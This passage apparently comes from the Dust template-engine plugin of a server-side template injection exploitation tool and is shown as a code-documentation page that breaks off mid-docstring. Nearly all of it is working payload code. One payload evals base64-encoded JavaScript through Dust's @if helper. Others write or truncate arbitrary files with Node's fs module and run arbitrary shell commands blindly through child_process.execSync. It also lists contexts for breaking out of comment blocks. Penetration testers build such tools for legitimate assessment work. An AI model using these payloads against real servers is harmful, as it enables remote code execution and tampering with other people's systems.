Method init

plugins/engines/dust.py:12–43

(self)

class Dust(javascript.Javascript):
    
    def init(self):

        self.update_actions({
            'evaluate' : {
                'call': 'inject',
                'evaluate': """{@if cond=\"eval(Buffer('%(code_b64)s', 'base64').toString())\"}{/if}"""
            },
            'write' : {
                'call' : 'evaluate',
                'write' : """require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')""",
                'truncate' : """require('fs').writeFileSync('%(path)s', '')"""
            },
            # Not using execute here since it's rendered and requires set headers and trailers
            'execute_blind' : {
                'call': 'evaluate',
                # execSync() has been introduced in node 0.11, so this will not work with old node versions.
                # TODO: use another function.
                'execute_blind': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i');""",
                'test_cmd': bash.echo % { 's1': rand.randstrings[2] },
                'test_cmd_expected': rand.randstrings[2] 
            }
        })

        self.set_contexts([
                # Text context, no closures. This covers also {%s} e.g. {{payload}} seems working.
                { 'level': 0 },
                
                # Block as {#key}{/key} and similar needs tag key name to be bypassed.
                
                # Comment blocks
                { 'level': 1, 'prefix' : '!}', 'suffix' : '{!' },
            ])

    """
    This replace _detect_render() since there is no real rendered evaluation in Dust.